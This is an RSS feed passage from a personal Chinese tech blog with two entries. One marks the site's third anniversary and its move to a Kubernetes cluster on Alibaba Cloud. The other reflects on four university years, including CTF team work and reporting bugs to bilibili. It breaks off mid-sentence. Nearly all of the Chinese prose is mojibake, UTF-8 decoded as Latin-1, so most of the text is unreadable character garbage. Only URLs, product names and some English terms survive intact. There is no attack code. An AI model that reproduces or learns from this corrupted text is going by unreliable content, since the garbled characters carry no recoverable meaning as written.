- è¿ä¸äºåçäº Â· Light Cube ä¸å¨å¹´https://github.red/lightcube-7th/Tue, 04 Oct 2022 15:43:06 +0800https://github.red/lightcube-7th/<blockquote>
<p>æç« å¤´å¾æ¥èª @tototo <a href="https://www.pixiv.net/artworks/100132847" title="PixivID 100132847">PixivID: 100132847</a></p>
</blockquote>
<p>åæ¯ä¸å¹´å½åºåæï¼è¿ä¸ªå°ç«ä¹èµ°å°äºç¬¬ä¸å¹´ã
æ¯å¹´å½åºåæåè¿ç¯æç« çæ¶åï¼æé½ä¼ç
æ³ä¸æå¹´çè¿ä¸ªæ¶åï¼èªå·±ä¼ä»¥ä»ä¹æ ·ç身份ï¼å¨ä»ä¹æ ·çå°æ¹ï¼åä¸å¯¹è¿ä¸ªå°ç«è¿å»ä¸å¹´çæ»ç»ãä½å»å¹´å¤§åçæ对ä¸å¹´åçèªå·±ä¼èº«å¨ä½å¤ä¸æ æç¥ãä¹è®¸æ¯å 为å½æ¶é¢ä¸´ç太å¤çéæ©ï¼å¤ªå¤çªç¶åççäºæ
让æååè¿·è«ã</p>
<p>èå½è¿å»çä¸åå°åè½å®åï¼ææ³ååºå½æ¶çèªå·±ï¼ä½ å¨å¤§å¦é¡ºå©æ¯ä¸å离å¼äºå¦æ ¡ï¼å¨ç¦»å¦æ ¡æºè¿çå°æ¹ç§äºé´è¿ç®èéçå
¬å¯ï¼å·¥ä½æ¥å¾è¿äº 15 åééå¤æ¶é´ç两ç¹ä¸çº¿ï¼å¨æ«å¨å®¶ççªãè¡¥è§æè
åç¹å°é¡¹ç®ãç²¾ç²åå°½çä½ å¼å§å»å»æå°æ延æè
åé¿ä¸äºéè¦é¢å¤æå
¥ç²¾åçäºæ
ï¼ä½ ç¥éè¿å¹¶ä¸æ¯ä¸ä»¶å¥½äºï¼ä½æ¯ä½ ç¡®å®æ¶å¸¸æå°é常累ãæ¯ä¸ªå¨äºçå¤ææ¯ä½ æå¿«ä¹çæ¶åï¼ææ¶ä½ å¨ä¸ççè·¯ä¸ä¼å¼å¿å°è·³èµ·æ¥ï¼ææ¶å¿æ
ä¸å¥½ä¼å»å
¬å¸éè¿çé
å§åä¸å æ¯ãèæ¯ä¸ªå·¥ä½æ¥çæ·±å¤æ¯ä½ æè½å
¨èº«å¿æå
¥çæ¶åï¼ä½ ä¼æèªå·±å
³å¨æ¿é´éï¼å¤§å£°å¤æ¾çé³ä¹å çåçæ¹æ¡ä¸ä»£ç ã</p>
<p>æ¯è¾å¯æçæ¯ï¼å¨è¿å»çä¸å¹´éï¼ä½ åªåäºåç¯æç« ãè两年åçä½ ï¼ä¸ä¸ªæè³å°ä¸ç¯ãæç¥éä½ å¿éå
¶å®è¿æ²¡ææ¾å¼ï¼ä½ æ£æçæ³å»ç 究ä¸äºæ°å¥ç¬ç¹çâ好活âï¼åå°ä½ çâåæåé â以åææå¿å¾æµç¼©æä¸ç¯æç« ââ æ£å¦ä½ ä¸ç´ä»¥æ¥çé£æ ·ãä½æ¯ä½ åç°å¥½åå¾é¾æ¾å°è½è®©èªå·±æå¾èµ·å
´è¶£çä¸è¥¿äºï¼äº¦ææ¯è¯´ä½ ç表ç°æ¬²æ²¡æ以åé£ä¹å¼ºçäºï¼åææ¯è¯´ä½ ä¸å¤ªè½åæå®æ´å°åå®ä¸ä»¶äºæ
äºã</p>
<p>颅… 好åè¯é¢å¼å§è½¬å对èªå·±æ²éçèªè´£äºï¼å°±æ¤æä½ãè¿æ¯æ¥ççè¿å»çä¸å¹´éè¿ä¸ªç«åççååå§ã</p>
<h2 id="è¿ä¸äºåçäº">è¿ä¸äºåçäº</h2>
<p>ç±äºä»å¹´æä»å¦æ ¡æ¯ä¸äºï¼ä¹åä¹å°±æ æ³å享åå¦çä»·è´ä¹°é¿éäºç ECS æå¡å¨ï¼åæçå¦çæºå°äºä»å¹´ 10 æå°æãè¿å° ECS å¦çæºä¸è·ççæ£æ¯è¿ä¸ªå客ç«ç¹ï¼å æ¤ä¸å¯é¿å
çéè¦è¿è¡è¿ç§»ãå¨è¿ä¹åçå 个æå°ä¸å¹´çæ¶é´å
ï¼æè
¾è®¯äºãå为äºçè´¦å·ä¸çå¦çæºä¹å°å°ææ æ³æå¦çä»·ç»è´¹ï¼ä¸é¢çæå¡é½éè¦è¿è¡è¿ç§»ã
èæ¯è¾å°´å°¬çæ¯ï¼è¿äºæºå¨å¨æå½åè´ä¹°åï¼å°±åå奢ä¾çåªå¨ä¸é¢è·äºä¸å°ä¸¤ä¸ª Web æå¡ï¼æ¯å°æºå¨å¤§çº¦ 80% çèµæºæ¯è¢«ç½ç½æµªè´¹æäºçãå æ¤ï¼å¨å¨è¯¢äºä¸äºæåçæè§ä¹åï¼æéæ©å¨é¿éäºä¸ ACK å¼ä¸ª Kubernetes é群ï¼å°å客以åå¦çæºä¸çå
¶å®æå¡é½è¿ç§»è³é群ä¸ãé群çèç¹ä½¿ç¨é¿éäºçç«ä»·å®ä¾ï¼ææ¬ä¸ä¼æ¯ä¹åå¼å¥½å å°å¦çæºé«å¤ªå¤ãä¸ç®åé群éåªæä¸å° 2C8G çç«ä»·å®ä¾èç¹ï¼å®ä¸é¢æ¿è½½äºæä¹åææéè¦ç¨å°çæå¡ï¼</p>
<h2 id="解éä¸ä¸ªåä¸ä¸ªè¹èµæ°æè½">解éä¸ä¸ªåä¸ä¸ªè¹èµð¸æ°æè½</h2>
<p>å 为æ¯èªå·±ç¬¬ä¸æ¬¡é
ç½®é群ï¼å æ¤ä¹è¸©äºä¸å°åã
ä¹åèªå·±å®å
¨æ²¡æå»å¦è¿ Kubernetes ç¸å
³çå
容ï¼ä¸å¼å§æ¯å»å¹´å¹´æ«å
¬å¸å
é¨å¼å§åäºåçè¿ç§»ï¼å æ¤æå¨çµèä¸è£
äºä¸ªå·ç§° Kubernetes IDE ç Lensï¼ç¨æ¥æ§è¡å é¤ Pod 触åæ´æ°ï¼çç Pod çæ¥å¿è¿äºç®åæä½ãå¨çå°æå é¤ç Pod å±
ç¶åä¼èªå¨æ°å»ºä¸ä¸ªå¯èµ·æ¥è§å¾ååç¥å¥ï¼è¿æäºè§£å°èåæä¸ªå« Deployment çä¸è¥¿å®ä¹äºå®ã
å
¬å¸å½æ¶ä½¿ç¨çæ¯ AWS EKS çé群æå¡ï¼æå¶ç¶é´å¨æ§å¶é¢æ¿çå°äºä¸ä¸ªéè¦ CNAME æåçååï¼è¿ææç½æ们æ¯å¦ä½éè¿èªå·±çåå访é®å°é群å
çæå¡ï¼åæ¶ä¹æ¥è§¦å°äº Service å Ingressã
åé¢èªå·±åå¾ä¸äºæå¡éè¦é¨ç½²å°é群ä¸ï¼æä¹å¼å§å¦çæ¹è¿ç»´å好ç ArgoCD YAML æ件ï¼æ¯å¦å 个ç¯å¢åéï¼ä¿®æ¹ä¸ Replica 设置å¯æ¬æ°éã
ååé¢æçè¿ç»´è½ç²¾åçå° Pod é¨ç½²å°ææå®é
ç½®æè
æ¶æçæºå¨ä¸ï¼ä»¥åå¨ Lens éçå°å
³äº Pod è°åº¦å¤±è´¥çæ¥éï¼æä¹å°±å¤§æ¦è½ä»åé¢å«ä¹ä¸é¢æå° AnnotationsãLabelsãConditionsãTolerations è¿äºä¸è¥¿çä½ç¨ã
ä»å¹´å¹´ååä¼å D^3CTF æ¶ï¼éè¦ä¸ä¸ªå¨é群å
å¨æå¼å¯é¶æºçæå¡ï¼å½æ¶æä¸æä¸æ¸äºä¸ª <a href="https://github.com/wuhan005/oblivion" title="oblivion">oblivion</a> ãå®çåçä¹åªæ¯ç®åå°è°ç¨ Kubernetes APIï¼æä¹æ¯ä»é£ä¹åäºè§£å°äº Service Accountã
åå¾åææ³è®© Cardinal Pro æ¯èµå¹³å°æ¯æ Kubernetes å¼å¯é¢ç®é¶æºï¼å æ¤å»ç²ç¥ç¿»é
äº <a href="https://github.com/google/kctf" title="Google kCTF">Google kCTF</a> 项ç®çæºç ï¼æ讶å°åç°ä»ä»¬æä¹å° CTF æ¯èµä¸çèµé¢ï¼Challengeï¼ä½ä¸ºäºé群ä¸çä¸ç§èµæºï¼YAML éå±
ç¶å¯ä»¥å <code>kind: Challenge</code>ï¼è¿æç¥éåæ¥ Kubernetes å¯ä»¥èªå®ä¹èµæºã
å¨æ建çèªå·±çé群æ¶ï¼æ为äºè½èçæºå¨ç£çè´¹ç¨ï¼å¼äºé¿éäºç NASï¼æè½½å°é群éçæ¶åï¼äºè§£å°äº StorageClassã
å¨èªå·±çé群ä¸æ建 WordPress ä¸ uptime-kuma æ¶ï¼å¼å§å¦çååä½¿ç¨ Helm å»é¨ç½²è¿äºæå¡ãè uptime-kuma ç第ä¸æ¹ Chart å
ææ¡£åçå¾ç®ç¥ï¼ä¸å¾å·²ä¹ä¸æåªè½å»ç¿»çè¿ä¸ªå
templates ä¸ç YAML 模æ¿æ件ï¼ä¸çæåç°è¿ä¸å°±æ¯ Go åççé£ä¸ªå人类模æ¿è¯è¨åï¼æå¯å¤ªçæäºãç´æ¥éè¿ç模æ¿æ¾å°äºæè¦çé
置项该æä¹åã</p>
<p>å¯ä»¥è¯´ï¼æå¯¹äº Kubernetes ç认ç¥å
¨é½æ¥èªäºèªå·±å®è·µä¸è§è¿çæ
åµãæç®åä¹ä»
ä»
åªæ»¡è¶³äºç°å¨å
¥é¨çè½ç¨å°±å¥½ãæ并没ææ¯è¾æ·±å
¥çå»äºè§£ Kubernetes ä¸ä¸äºæ趣çç»èï¼æ以ä¹æ²¡æåç¬åä¸ç¯æç« æ¥è®°å½æé群è¿ç§»çè¿ç¨ãå¯è½æªæ¥çæ天æ读å°ä¸æ¬è®² Kubernetes ç书ï¼å°ä»¥ä¸è¿äºå
å
¥ä¸ºä¸»çæ¦å¿µå
¨é½ä¸²èµ·æ¥ï¼æå¯è½ä¹å°±è±ç¶å¼æäºï¼å¨é£ä¹åå¯è½ä¼æ´æ´æ´æ´å个å ååæ¥è®¨è®ºä¸ãæç®å对 Kubernetes çæ度æ¯ï¼è¿å®¶ä¼å°±æ¯ä¸ªåååå®ææ§çâå·¥å
·âï¼ä¸å®çç确确ä¹å°±åªæ¯ä¸ªç¨æ¥å容å¨ç¼æçå·¥å
·ï¼å¦ææ人æ¿çä¸å Kubernetes çåé¨å
«è¡æ¥æ¶å¿äººçè¯ï¼é£æåä»è¿æ¯è¶æ©æ»æ»ç®äºã</p>
<h2 id="è¿ä¸-yaml-å·¥ç¨å¸äº">è¿ä¸ YAML å·¥ç¨å¸äº</h2>
<p>åå°å客è¿ä¸ªæå¡ä¸æ¥ï¼æ使ç¨çæ¯ bitnami ç WordPress Helm Chartãå
¶èåç WordPress Docker éåæ¯ç´æ¥å®è£
ç PHP 8 ççæ¬ãä¼æå¨ç¥ PHP 8 åºé¤äºä»¥åå¾å¤çå
ç½®å½æ°ï¼äº²æµæç®å使ç¨ç WordPress å客主é¢æ¯æ æ³å¨ PHP 8 ç¯å¢ä¸æ£å¸¸è¿è¡çãå æ¤æä¸å¾äºæ¬¡éæ¹ bitnami ç WordPress åºç¡éåï¼å°å
¶ä¸å®è£
ç PHP çæ¬æ¹ä¸º 7.4ï¼åå°æ°æ建好çéåæ¨éè³æçé¿éäºå®¹å¨éåæå¡ä¸ï¼å¹¶é
ç½® Chart 使ç¨ææå®çéåå¯å¨ãåæ¶ä¸ºäºä¿è¯æèªå·±æå
çéåä¸ WordPress ççæ¬å§ç»æ¯ææ°çï¼æå¨ GitHub Actions ä¸å äºä¸ªå®æ¶æ建éåçä»»å¡ã
å¼å¾ä¸æçæ¯ï¼bitnami WordPress Chart èªå¸¦äºä¸ªå¼å¯ Memcached çé项ãé£æèªç¶ä¹ä¸å®¢æ°ï¼ç´æ¥å è¡ YAML 就让å®æ Memcached ç»èµ·å¥½äºï¼WordPress åå°è£
äºä¸ªåºäº Memcached çç¼åæ件ï¼è½è¯´æ²¡æè§å°å è½½é度æåå¤åï¼ä½æ¯èèäºæ åå»å»ã</p>
<h2 id="æåé便èç¹">æåé便èç¹</h2>
<p>è¿ä¸å¹´æ¥æ¬ç«æ大çæ¹ååºè¯¥å°±æ¯è¿ç§»å°é群äºï¼é¤æ¤ä¹å¤ Google Analytics ç»è®¡ææ ï¼ä¸çäº CDN è´¦åç¸è¾å»å¹´é½ä¿æ稳å®ãåé¾çè¯å¾å¯æä»å¹´ä¸å¹´é½æ²¡æå¢é¿ï¼ä¸è¿æç Twitter å GitHub ç²ä¸åæ¯æ¶¨å¾æºå¿«çï¼æææå°æç Twitter 主页é¾æ¥ä¿®æ¹æ GitHub 个人页çå°åèæ¬å客çå°åï¼ç®çæ¯æ³çéåºé£äºçæ£æ¿æäºè§£æç人ï¼ä»ä»¬ä¼ä» Twitter æ¾å° GitHubï¼åé¾æ¥å°å客ï¼æååå° QQãå¾æè°¢è½éå°è¿äºå°ä¼ä¼´ä»¬ã</p>
<p>å说说æèªå·±ï¼æè¿ä¸¤ä¸ä¸ªæå
¶å®èªå·±ä¸ç´æå¨è¿½ãLycoris Recoilã<span class="heimu" onclick="()=>{}">æè¶
ï¼èæ¹ï¼</span>ï¼æ¯å¨å
çæä¸ä¼é便åç¹ Side Project ç代ç ï¼çå°é¶ç¹çæ¶ååæ¶ä¸åºå¸¦è³æºççªãæç¹ååå°äºåä¸è¿½åå第äºå£çæ¶åï¼é£æ¶çæä¹æ¯å·çé¢å°åç¹åï¼ç¶ååæ¶æå¼ä¹è§ App ççªï¼å¯è½è¿ä¹æ¯ä¸ºå¥æåä¸é£æ®µæ¶é´æ绩çªé£çè¿çåå å§ï¼å 为å¿éæ个ç¼å¤´ï¼æ以åèµ·äºæ
æ¥ä¼æ ¼å¤ç认çåååã
ä½æ¯…… 为å¥æ¯æ¬¡ææ¯æ¬¡ Twitter ç¹èµå
³äºç³èçå
容就ä¼æç²åð
é¤äºè¿½çªä»¥å¤ï¼æè¿æå¨è¿½éç´«æ£çæ°ä¸è¾ï¼ä¹åæ¯æ¯å¨ä¸åå¨åæä¸é¶ç¹æ¾åºä¸é¦æ°æãèæçæ¶åæå°é¶ç¹è¿æ²¡ä¸çï¼ä¸ççè·¯ä¸åç°æ°æåäºï¼ä¾¿èµ¶ç´§å¸¦ä¸è³æºè¾¹èµ°è¾¹å¬ãä¸å¾ä¸è¯´ AirPods Pro ç空é´é³é¢ççæ£ï¼ä¸ºäºæ¯æ解解ï¼æè¿ä¸é¨ä¹°äºå¼ å®ä½ä¸è¾ãð</p>
<p>åï¼å¤§æ¦å°±è¿äºäºãæä¸è¿å¾åå»å¹´ä¸æ ·ç»§ç»å»æ¹âæ个大ä¸è¥¿âãð</p>
<p>ä¸å¨å¹´çæ¥å¿«ä¹ï¼ð æå¹´åè§ï¼</p>
- å
³äºæ大å¦è¿åå¹´çç¢ç¢å¿µhttps://github.red/bye-hdu/Sun, 03 Jul 2022 01:47:16 +0800https://github.red/bye-hdu/<blockquote>
<p>æä¸æææå°ç人åå使ç¨ä»£ç§°æ IDãä¸è¿ææ³ä½ åºè¯¥é½ç¥éä»ä»¬æ¯è°ã</p>
</blockquote>
<p>å»å¹´å
æ份çå° @Li4n0 æ¯ä¸æ¶å¨å客åäºç¯ååæç« ï¼ç»äºï¼æä¹å°è¿ä¸ªæ¶åäºãå½æ¶æ对ä¸å¹´åçèªå·±ä¼èº«å¨ä½å¤è¿æ±æçé®ï¼èç°å¨ææ£åå¨è·åå¦åç§çå
¬å¯æ¿é´éï¼é¢åæ¯å·¨å¤§çè½å°çªï¼çªå¤ä¸çæ¼é»çå¤å¹ã两å¨åæåå å®å¦æ ¡çæ¯ä¸å
¸ç¤¼åï¼æ¶æ¾å¥½ä¸è¥¿ä¾¿ååå¿å¿å°æ¬è¿æ¥äºï¼æé´æ²¡æä»ä¹å¤ªå¤ç仪å¼æï¼ç
§çä¹åªæ¯ä¸ä¸ä¸¤ä¸¤å°æäºå å¼ ã
ä½éä¸æ¥æ³æ³ææè¯å°ï¼æå·²ç»æ¯ä¸äºãåå¹´ååå°æçµç第ä¸å¤©æä¸ï¼æåå¨å®¿èç书æ¡ååä¸äº<a href="https://github.red/hello-hdu/" title="ãä½ å¥½ï¼åå¹´ãã">ãä½ å¥½ï¼åå¹´ãã</a>ï¼åéè¡é´å
满äºæ对è¿åå¹´çå¹»æ³ä¸å±æãåå¹´ååè¿å¤´æ¥çï¼å½æ¶ç«ä¸çç®æ ï¼æçè½ç©ºäºï¼æçç»æåºä¹æå¤ï¼ä¹æç被å¿å¨èåä¸äºäºä¹äºã</p>
<p>ææç®åç¯æç« æ¥è®°å½ä¸ä¸è¿åå¹´æ¥åççä¸äºé¾ä»¥å¿æçäºæ
ï¼ä¹è®°å½ä¸èªå·±çææãå¯è½å
容æäºæµæ°´è´¦ï¼ä¸è¿é®é¢ä¸å¤§ï¼åæ£è¿ç¯æç« æéè¦ç读è
ä¹åªæ¯æèªå·±ã</p>
<h2 id="大ä¸--æ°å¥ä¸éå¿æ欲">å¤§ä¸ Â· æ°å¥ä¸éå¿æ欲</h2>
<p>å
¶å®ä» 6 å²æ¥åä¹å¡æè²å¼å§å°é«èç»æ为æ¢ï¼æ们æ¯ä¸ªé¶æ®µçç®æ é½å¾æç¡®ã读å°å¦å°±æ¯ä¸ºäºè½ä¸å¥½åä¸ï¼è¯»åä¸æ¯ä¸ºäºä¸èï¼è¯»é«ä¸æ¯ä¸ºäºé«è…… æ¯è¿å
¥å°ä¸ä¸ªæ°çç¯å¢ï¼å
¶å®æ们çé¿æç®æ 就已ç»ç¡®å®å¥½äºï¼èº«è¾¹ç人ä¹é½æ¯å¥çåä¸ä¸ªç®æ å»åªåã
å æ¤é£ä¸ªæ¶å对ä¸éå
¶å®å¾ç®åï¼è½è®©ä½ å¦ä¼ç¥è¯çå°±æ¯å¥½æ¹æ³ï¼è®©ä½ ç²æ«ææ çå°±æ¯åä¸è¥¿ãä½æ¯ä¸äºå¤§å¦åï¼è¿ä¸å±çº¦æçªç¶æ¶å¤±äºââåå¹´åæå¯ä»¥éæ©èç ï¼å¯ä»¥éæ©å°±ä¸ï¼å¯ä»¥éæ©èå
¬…… å 为æç»çç®æ ä¸æç¡®ï¼æ以就æ³å
å°è¯èªå·±å欢çäºæ
ã
å读大ä¸çæ¶åï¼æçªç¶æäºç¸æ¯é«ä¸å¤å¥½å åçæ¶é´ï¼å¨é£æ®µæ¶é´éæçè¿åº¦æ¯é£éçï¼2018 å¹´ 10 æçæ¶åæä¸é¨è®°å½äºä¸èªå·±å½æ¶å¦äºä»ä¹ï¼é¤äºç²¾è¿é«ä¸æ¶å¦ç PHP èæ¬å¤ï¼è¿æ¥è§¦äº DockerãAndroid å¼åçãå½æ¶ççå°±æ¯ç§¯åäºå¥½å¤å¹´çå
´è¶£æ¬²æï¼ä¸ä¸åå·ååºæ¥äºã
åæ¶å¨å®¤åçæ¨èä¸å äº Vidar çææ°ç¾¤ï¼èªå·±ä¹å¨ä¸æ¬¡æèªä¹ æ¶å¾ç¥äºæçµå©æï¼ä¸¤è¾¹é½æ¥äºåãç°å¨æ³æ³è¿ççæ¯ä¸ªç»ä½³çéæ©ã
å 为è±äºè¿å¤çæ¶é´å¨æ´èªå·±çè¿äºä¸è¥¿ï¼æå¼å§éä¸äºä¸æ³ä¸ç水课ï¼ä¸äºä¸å欢ç课ç¨ä½ä¸ä¹æ¯å°äºå¿«äº¤çæ¶åæååå¿å¿å°è¡¥ä¸ãæ以æ绩ä¸ç´ä¸å¤§å¥½ï¼çè³æä¸èè¯è¿åè¿è¢«ç主任约çè°äºè¯ãï¼å¯¹ï¼æ¯ç主任ï¼ä¸æ¯è¾
导åï¼æ²¡æ³å°ççæç主任ï¼è¿ä¹æ¯æ第ä¸æ¬¡ä»¥åæåä¸æ¬¡è§å°å¥¹ï¼ä½å
¶å®æä¸ç´é½ä¸æä¹æ¾å¨å¿ä¸ï¼ååæ¯ä¸¤ä¸ªç¤¾å¢é£è¾¹æ··å¾é£çæ°´èµ·ï¼åæ¯å项ç®åæ¯å¦ CTFã</p>
<p>åè¿å
¥å¤§å¦çå¦çï¼å
¶å®å¯¹äºå¦æ ¡ï¼èªå·±æå¨çå¦é¢ï¼æå¤æå°å°é½æä¸ç§å´ææä¸å½å±æãä½ä¹åå¨ Vidar ææ°ç¾¤ä»¥å身边åå¦è¨è®ºçå½±åä¸ï¼éæ¸äº§çäºä¸ç§âå¦æ ¡çåå¾ï¼å¦é¢èå¸ä¸ä¸è¯¾è®²å¾ä¸å¡ç³æ¶ï¼æä¸äºä½ çä¸è¥¿âççæ³ãè¿ä¸ªçæ³ç°å¨çæ¥å
¶å®æ¯æäºåæ¿çï¼ç½å®å¦é¢çèå¸ç¡®å®å¤§é¨åæ°´å¹³é½ä¸å¤§è¡ï¼è¿ä¸ªæ¯äºå®ã<strong>ä½è¿å¹¶ä¸ä»£è¡¨ä»æææçè¿é¨è¯¾æ²¡æç¨ï¼</strong> è¿æ¯æå½æ¶ä¸èªè§æå
¥çä¸ä¸ªé·é±ã讲æ°æ®ç»æçèå¸å¯è½å¾åå¾ï¼åªä¼å¯¹ç PPT ç
§æ¬å®£ç§å°å¿µï¼ä½è¿ä¸ä»£è¡¨æ°æ®ç»æä¸ç®æ³è¿é¨è¯¾æ¬èº«å¨è®¡ç®æºç§å¦ä¸ä¸éè¦ãä½ å¯ä»¥è´¬ä½èå¸ï¼é课ä¸å¬ä»è®²ï¼ä½ä¸å¯ä»¥ä¸äº¤ï¼ä½æ¯ä½ å¾ä»å
¶ä»æ¸ éå»è®¤çå¦ä¹ è¿é¨è¯¾ç¨ï¼è¦ä¸èªå·±ç书ï¼è¦ä¸çé¢å¤çç½è¯¾ã<strong>ä¸è½å 为èå¸åå¾ï¼å°±æè¿é¨è¯¾ä¹æ¾å¼äº</strong>ã</p>
<p>æ´ä¸ªå¤§ä¸ä¸å¦æå
¶å®å°±æ¯æçå°±é¨å°ä¸ç课ï¼å¹³æ¶èªå·±çç书ï¼åå ä¸æçµå©æçé¨é¨ä¾ä¼å Vidar çæ°çå¹è®ãèªå·±ä¹ä¼æ´äºè±æ´»ï¼å½åºæ¾åçæ¶åç¨ä»¥åå¦å°ç Web ç¥è¯æ´äºä¸ªè§£è°æ¸¸æãå¶å°ä¹ä¼æç¹è§é¢åªåªçåãå¯ååé«éå家çæ¶åï¼è¿èªå·±æäºä¸ª vlogï¼èªå·±å¨é«éä¸æçååªå®çã
大ä¸çä½è²è¯¾æ¯æ太æï¼å¯åè¢ä¸åè°çææ ¹æ¬æ²¡å¥½å¥½ç»ï¼ææ«èè¯æ太æï¼è®°æ绩çèå¸ç´æ¥è·æ说åå¤è¡¥èå§ï¼æé£æ¶ç¬é´å°±æ
äºï¼ä¸è¿å¥½å¨æå被èå¸ 60 åç»æè¿äºãè¿å¦ææä¹è¿æ¥äºæ第çä¸æ¬¡æç§ãå 为æ¯ç¬¬ä¸æ¬¡ï¼æ以èªå·±æ ¼å¤ç´§å¼ ãå¯åçæ¶åççèç çç½è¯¾ç补线æ§ä»£æ°ï¼å¼å¦è¡¥èå±
ç¶è¿èäº 80 å¤é¡ºå©éè¿~ å¯åæé´ä¹æ²¡é²çï¼Vidar ç HGAME æ°çèµè´¯ç©¿äºæçæ´ä¸ªå¯åï¼è¿ä¹æ¯æ Web å®å
¨çå¯èäºã</p>
<p>大ä¸ä¸å¦æï¼å ä¸ºå¨ HGAME æåé åï¼ææåå°å å
¥äº Vidarãé£ä¸ªæ¶åç CTF æ¯èµè¿æ²¡å¦ä»è¿ä¹å·ï¼Web ååèªå·±ä¸ä¸ªäººè¿è½æ¢ä¸ªäºè¡ä¸è¡ï¼ä¹ä¸åç°å¨è¿æ ·ä»ä¹ç鬼èç¥é½æåºæ¥ï¼è¿ä¸ªå¸å
é£ä¸ªå¸å
çèï¼åºçé¢ä¹ä¸æ¯æ èå¥å¨çä½åæ´»ãé£ä¸ªå¦æåå äº Vidar ç AWD æ¯èµï¼ä¹è·çåä¼çå°ä¼ä¼´ä¸èµ·å»å¤©æ´¥çº¿ä¸åº¦åä¸å¨ææ¯èµï¼é£åºæ
è¡æ¯ççå°è±¡æ·±å»ã
大ä¸ä¸å¦æç课ç¨ä¹æ¯ææ´ä¸ªå¤§å¦éæå¤çäºï¼åå¤åé¾ï¼æåä¹è¿æ¯å¯ææäºç§ãæ¾æååæä¹æ¯æºææ
çï¼æ³çåå¾åå¤è¡¥èäº QAQãä¼ éé¨ï¼<a href="https://github.red/2019-summer-vacation/" title="æåå¼å§äºåâ¦â¦">æåå¼å§äºåâ¦â¦</a></p>
<h2 id="大äº--å
è¾ä¸ç¾å¿µçç°">å¤§äº Â· å
è¾ä¸ç¾å¿µçç°</h2>
<p>大ä¸ä¸å¦æçæåå
¶å®æè¿å¾å¾å®é¸èªç±ï¼å¨å®¶ä»£ç åç´¯äºå°±ä¸ä¸ªäººå车å»æ·±å³æ¹¾çæµ·ï¼ä»æ·±å³æ¹¾å¾æ¥èµ°å°é«ä¸çå¦æ ¡ï¼ååå°éå»ä¹¦åçææ æ°çææ¯ä¹¦ç±ã
é£ä¸ªæåæä¹æ¯ç¨èªå·±ä¸èç«ç Go è¯è¨æ°´å¹³ï¼ç¡¬ççå°ç¨ Beego æ¡æ¶æ Apicon ç»ååºæ¥é¨ç½²ä¸çº¿äºï¼è¿ç¬å¤ç»äºå¾é
·çæ¶æå¾ãä¼ éé¨ï¼<a href="https://github.red/apicon-infrastructure/" title="Apicon èåé½ç¨å°çåªäºææ¯ï¼">Apicon èåé½ç¨å°çåªäºææ¯ï¼</a> ç°å¨åè¿å¤´çé£ä¸å¹´åç代ç ï¼æå¹æè¿ä¸å¹´æ¥ç¡®å®æé¿äºä¸å°åååã
æåå¿«ç»æçæ¶åï¼æ幸è·çåä¼çå¦é¿å»æçå
¬å®å±æ¤ç½ï¼å½æ¶å¤§å®¶å
¶å®ä¹é½æ¯ç¬¬ä¸æ¬¡æ¤ç½ï¼æ²¡ä»ä¹ç»éªãåªè½é çå¼±å£ä»¤çè¯ï¼æå主åæ¹çä¸ä¸å»äºè¿å·å·å¡ç»æ们æ°çç®æ ï¼å¯ææåæ绩è¿æ¯ä¸æä¹å¥½ãä¸è¿åæ¯ä¸æ¬¡å¾æ°å¥çä½éªï¼é£ä¸ªç份å 为é è¿è¥¿åï¼æ以ç§ç¤å¤åçç¾è串çè串æ¯ççå大å好åã</p>
<p>大äºå¼å¦åï¼æ便å¿å¼å§äºç¤¾å¢ææ°ã<del>æä»ä¹æ¯æ¯æ¬ºè´åæ¥ç大ä¸æ°çæ´æææçå¢ï¼</del> 大家å¤å¤å°å°é½æäºå¥½ä¸ºäººå¸ï¼æ»æ¯å欢è¨ä¼ 身æï¼æ对大ä¸çæ°çå°±ç»å¸¸è¿æ ·åååã大äºä¸å¦æä¹è·çåä¼çå°ä¼ä¼´ä»¬å»äºå¤©æ´¥ç第äºç©ºé´çº¿ä¸èµä»¥åé¦å±åèè·³å¨ ByteCTFï¼åè
ä¿åºæ¿äºä¸ª 5000 çå¥éï¼åè
æ¿äºä¸ªç¬¬å
åçä¸éæ绩ãå
¨é @Li4n0 Web 带æé£äºï¼å½æ¶ç¬¬ä¸å¤©åç°é¶æº SSH è¦å¯é¥ç»å½ï¼ä¹ååçèæ¬å
¨é½ç¨ä¸äºï¼äººç´æ¥èäºã
è¿å¦æåä¼ä¹ä¸¾åäºç¬¬ä¸å± D^3CTFï¼å½æ¶æ¯ç¬¬ä¸æ¬¡å»æ¥ç§æ¿åå è¿ç»´ãï¼è½ç¶èªå·±çº¿ä¸æ²¡åºé¢ï¼åªæ¯å»éªåéªåçãï¼çº¿ä¸èµå¯è°æå¿å¨éï¼å½æ¶çæ¯èµå¹³å°å
¶å®å¾ä¸ç¨³å®ï¼æ们æä¸å¤§åçæ¶é´æ¯å¨ä¿®å¹³å°ï¼èªå·±ä¹æ¯ä¸¤å¤©æ²¡ç¡è§ãç´å°æ¯èµç第ä¸å¤©ä¸åï¼å¨æè¾¹æ²åä¸ä¸åç´æ¥ç¡å°åæã
è¿å¦æä¹æ¯æ第ä¸æ¬¡æ²¡ææç§çå¦æãæ©å¨å¼å¦çæ¶åï¼éå£å®¿èçåå¦å°±è·æ说è¿å¦æå¦ç计ç®æºç»æåçä¼å¾é¾ï¼æç§çå¾é«ãå½æ¶æé£ä¸ªæ
çï¼æ³çç»å¯¹ä¸è½æäºï¼ä¸ç¶è¡¥èå°±ç³äºã计ç»ç课æ¯å®æå¨æ¯å¨ä¸å¨åçæ©ä¸å
«ç¹ï¼å½æ¶ææ¯å¤©æ©æ©ä¹°å¥½æ©é¤ï¼é½æå 15 åéå°æ室ï¼å第ä¸æ认çå¬è®²ãè¿å¯è½æ¯æ大å¦ä¸ºæ°ä¸å¤ç认çä»å¤´å°å°¾å¬è®²ç课ãæ课çèå¸æ¯å½æ¶çå¦é¢å¯é¢é¿ï¼ä¹æ¯ä¸ä¸ªå¾æ趣ç人ï¼æå¾å欢ãææ«èè¯çå·ååªæ两é大é¢ï¼ä¸é 40 åï¼ä¸é 60 åï¼é¾åº¦ç¡®å®å¤§ï¼èå¯ä¹å¾å
¨é¢ãä¸è¿æåæ以å
«åå¤çé«åéè¿äºï¼å¯åå¯è´ºå¯åå¯è´ºã
è¿ä¸ªå¦æç»æçæ¶åï¼æä¹å ä¸ºç» bilibili 交äºä¸¤ä¸ªé«å±å®å
¨æ¼æ´ï¼èèµå°äº 8000 å
ï¼ç¾æ»æ»å°å家è¿å¹´ã
å¯ä»¥è¯´ï¼æç大äºä¸å¦æï¼æ¯æ大å¦åå¹´çå
è¾æ¶å»ã</p>
<p>è大äºä¸å¦æçå¯åï¼ä¹å°±æ¯ 2020 å¹´åï¼å¾éæ¾ï¼æ°å ç«æ
